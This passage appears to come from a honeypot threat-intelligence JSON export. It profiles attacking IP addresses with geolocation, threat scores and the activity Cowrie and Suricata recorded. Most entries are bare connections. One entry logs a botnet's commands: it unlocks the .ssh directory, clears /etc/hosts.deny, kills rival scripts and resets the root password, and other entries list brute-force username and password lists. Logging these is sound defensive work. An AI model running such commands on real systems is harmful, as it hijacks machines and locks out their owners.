        "first_seen_30d": "2026-05-17T19:47:17.979000+00:00",
        "last_seen_30d": "2026-05-17T19:48:40.286000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.110.228.120": {
      "attack_count": 2,
      "first_seen": "2026-05-10T13:14:28.498Z",
      "last_seen": "2026-05-10T13:14:41.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 28598,
      "as_org": "DB3 SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:14:28.498000+00:00",
        "last_seen_30d": "2026-05-10T13:15:47.725000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.120.254.139": {
      "attack_count": 2,
      "first_seen": "2026-05-03T09:50:32.527Z",
      "last_seen": "2026-05-03T09:50:44.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valencia",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:50:32.527000+00:00",
        "last_seen_30d": "2026-05-03T09:51:46.182000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.141.120.105": {
      "attack_count": 2,
      "first_seen": "2026-05-06T21:02:10.721Z",
      "last_seen": "2026-05-06T21:02:24.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T21:02:10.721000+00:00",
        "last_seen_30d": "2026-05-06T21:04:09.060000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.79.87.48": {
      "attack_count": 2,
      "first_seen": "2026-05-18T05:32:47.183Z",
      "last_seen": "2026-05-18T05:33:01.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37611,
      "as_org": "AFRIHOST-SP",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T05:32:47.183000+00:00",
        "last_seen_30d": "2026-05-18T05:34:06.841000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.235.194.247": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:55:50.557Z",
      "last_seen": "2026-05-23T12:56:03.508Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:55:50.557000+00:00",
        "last_seen_30d": "2026-05-23T12:57:07.857000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.86.97.56": {
      "attack_count": 2,
      "first_seen": "2026-05-26T12:48:17.423Z",
      "last_seen": "2026-05-26T12:48:17.424Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T12:48:17.423000+00:00",
        "last_seen_30d": "2026-05-26T12:49:24.081000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.18.249.138": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:32:54.092Z",
      "last_seen": "2026-05-23T10:33:58.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:32:54.092000+00:00",
        "last_seen_30d": "2026-05-23T10:35:03.724000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.192.180.249": {
      "attack_count": 2,
      "first_seen": "2026-05-11T19:32:39.601Z",
      "last_seen": "2026-05-11T19:32:53.798Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Yekaterinburg",
      "asn": 12668,
      "as_org": "LLC KomTehCentr",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:32:39.601000+00:00",
        "last_seen_30d": "2026-05-11T19:33:57.124000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.17.137.159": {
      "attack_count": 2,
      "first_seen": "2026-05-24T23:40:19.474Z",
      "last_seen": "2026-05-24T23:40:31.831Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:40:19.474000+00:00",
        "last_seen_30d": "2026-05-24T23:41:35.893000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.75.72.199": {
      "attack_count": 2,
      "first_seen": "2026-05-11T19:35:32.641Z",
      "last_seen": "2026-05-11T19:37:32.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Congo Republic",
      "country_code": "CG",
      "city": null,
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:35:32.641000+00:00",
        "last_seen_30d": "2026-05-11T19:48:21.118000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.227.50.48": {
      "attack_count": 2,
      "first_seen": "2026-05-03T13:38:03.366Z",
      "last_seen": "2026-05-03T13:38:16.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Quilicura",
      "asn": 264838,
      "as_org": "INVERSIONES MYJ LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:38:03.366000+00:00",
        "last_seen_30d": "2026-05-03T13:39:18+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.47.8.82": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:45:50.358Z",
      "last_seen": "2026-05-02T04:46:04.308Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Raipur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:45:50.358000+00:00",
        "last_seen_30d": "2026-05-02T04:47:11.561000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.122.253.78": {
      "attack_count": 2,
      "first_seen": "2026-05-02T13:58:23.410Z",
      "last_seen": "2026-05-02T13:58:36.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongsan-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:58:23.410000+00:00",
        "last_seen_30d": "2026-05-02T13:59:37.957000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.51.107.12": {
      "attack_count": 2,
      "first_seen": "2026-05-10T02:50:34.146Z",
      "last_seen": "2026-05-10T02:50:46.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kajang",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:50:34.146000+00:00",
        "last_seen_30d": "2026-05-10T02:51:48.458000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "76.32.108.159": {
      "attack_count": 2,
      "first_seen": "2026-05-03T01:05:10.796Z",
      "last_seen": "2026-05-03T01:05:14.333Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:05:10.796000+00:00",
        "last_seen_30d": "2026-05-03T15:50:05.962000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "76.67.114.162": {
      "attack_count": 2,
      "first_seen": "2026-05-15T00:31:28.891Z",
      "last_seen": "2026-05-15T00:31:41.965Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Oakville",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T00:31:28.891000+00:00",
        "last_seen_30d": "2026-05-15T00:32:42.947000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.55.33.164": {
      "attack_count": 2,
      "first_seen": "2026-05-11T10:21:10.676Z",
      "last_seen": "2026-05-11T10:21:22.938Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:21:10.676000+00:00",
        "last_seen_30d": "2026-05-11T10:22:29.891000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "81.177.101.45": {
      "attack_count": 2,
      "first_seen": "2026-05-19T07:40:19.438Z",
      "last_seen": "2026-05-19T07:42:19.441Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:40:19.438000+00:00",
        "last_seen_30d": "2026-05-19T07:52:28.588000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.217.149.29": {
      "attack_count": 2,
      "first_seen": "2026-05-17T21:12:37.451Z",
      "last_seen": "2026-05-17T21:13:07.194Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1881,
        "days_active_30d": 30,
        "ports_targeted_30d": 958,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T05:36:18+00:00",
        "last_seen_30d": "2026-05-31T18:56:55.849000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1116,
        "Honeytrap": 762,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "89.41.38.54": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:36:46.111Z",
      "last_seen": "2026-05-02T19:37:18.289Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 205275,
      "as_org": "ROMARG SRL",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:35:56.454000+00:00",
        "last_seen_30d": "2026-05-02T19:55:16.078000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 2
      }
    },
    "91.230.168.212": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:54:52.586Z",
      "last_seen": "2026-05-19T21:55:02.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 29,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:13:58+00:00",
        "last_seen_30d": "2026-05-30T20:26:29.235000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 135,
        "Honeytrap": 34,
        "Cowrie": 2
      }
    },
    "93.15.254.46": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:20:40.240Z",
      "last_seen": "2026-05-03T05:22:40.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Villeneuve-le-Roi",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:20:40.240000+00:00",
        "last_seen_30d": "2026-05-03T05:33:40.152000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "93.41.227.68": {
      "attack_count": 2,
      "first_seen": "2026-05-03T19:10:47.523Z",
      "last_seen": "2026-05-03T19:11:01.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 12874,
      "as_org": "Fastweb",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:10:47.523000+00:00",
        "last_seen_30d": "2026-05-03T19:12:05.912000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.252.100.15": {
      "attack_count": 2992,
      "first_seen": "2026-05-22T01:27:22.984Z",
      "last_seen": "2026-05-22T12:34:40.863Z",
      "sessions": 598,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123qwe!@#",
        "2wsx#EDC4rfv",
        "Admin!@#",
        "DELL@123",
        "DeadEye1@2",
        "Dorgen2014",
        "Huawei@2015",
        "Sandbox1",
        "Stinger0",
        "Welcome1",
        "Windows1",
        "abcd1234!",
        "oracle@123",
        "!@#$$#@!",
        "!@#$%^&*0",
        "!@#$.QWER",
        "!@#123abc",
        "!@#123qweASD",
        "!@#QWEASDzxc",
        "!@#QWEasd"
      ],
      "commands_executed": [
        "env | head -10"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 152565,
      "as_org": "JOY SERVICES",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13897,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:10:00.425000+00:00",
        "last_seen_30d": "2026-05-27T09:45:19.069000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10905,
        "Cowrie": 2992
      }
    },
    "14.63.196.175": {
      "attack_count": 931,
      "first_seen": "2026-05-02T04:49:19.990Z",
      "last_seen": "2026-05-28T10:33:50.693Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "test",
        "ali",
        "aroot",
        "deployer",
        "ftptest",
        "guest",
        "mysql",
        "steam",
        "user",
        "administrador",
        "aitest",
        "alfresco",
        "digitalizacion",
        "ec2-user",
        "es",
        "esuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123qwe",
        "Aa123456",
        "test",
        "!@#$%",
        "1",
        "123",
        "123123",
        "123456",
        "1993",
        "1q2w3e4r",
        "1qaz\"WSX",
        "1qaz@WSX",
        "1qaz@WSX#EDC",
        "222222",
        "2wsx#EDC",
        "3",
        "54"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1993\\n1jNUSa69va6U\\n1jNUSa69va6U\\n\"|passwd",
        "echo \"222222\\n2IvwYhDJwwOx\\n2IvwYhDJwwOx\\n\"|passwd",
        "echo \"54\\nuc1VUpBp5kqX\\nuc1VUpBp5kqX\\n\"|passwd",
        "echo \"Password\\nAg9SVMevlZF6\\nAg9SVMevlZF6\\n\"|passwd",
        "echo \"root:B8HfQUorfrNA\"|chpasswd|bash",
        "echo \"root:iD4MWW9jNtHY\"|chpasswd|bash",
        "echo \"root:lq8jML7r6mHI\"|chpasswd|bash",
        "echo \"root:oQhMIrNBNtkv\"|chpasswd|bash",
        "echo -e \"1993\\n1jNUSa69va6U\\n1jNUSa69va6U\"|passwd|bash",
        "echo -e \"222222\\n2IvwYhDJwwOx\\n2IvwYhDJwwOx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1157,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:49:19.990000+00:00",
        "last_seen_30d": "2026-05-28T10:34:51.090000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 931,
        "Suricata": 226
      }
    },
    "198.23.198.172": {
      "attack_count": 912,
      "first_seen": "2026-05-02T05:34:54.087Z",
      "last_seen": "2026-05-02T06:10:36.414Z",
      "sessions": 456,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
